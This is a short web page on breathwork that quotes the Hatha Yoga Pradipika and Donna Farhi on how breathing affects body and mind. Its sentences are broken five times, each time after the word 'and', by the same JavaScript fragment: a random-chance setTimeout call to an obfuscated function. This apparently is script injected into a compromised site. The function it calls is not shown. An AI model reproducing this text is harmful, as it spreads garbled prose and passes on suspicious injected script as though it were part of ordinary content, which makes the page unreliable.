Breathwork

 “When the breath is steady or unsteady, so is the mind, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with it the yogi. Hence the breath should be controlled.” Hatha Yoga Pradipika ch. II.2.

Breathing affects your respiratory, cardiovascular, neurological, gastrointestinal, muscular, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and psychic systems, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also has a general effect on your sleep, your memory, your energy level, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your concentration. “Everything you do, the pace you keep, the feelings you have, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the choices you make, are influenced by the rhythmic metronome of your breath.”~Donna Farhi

 

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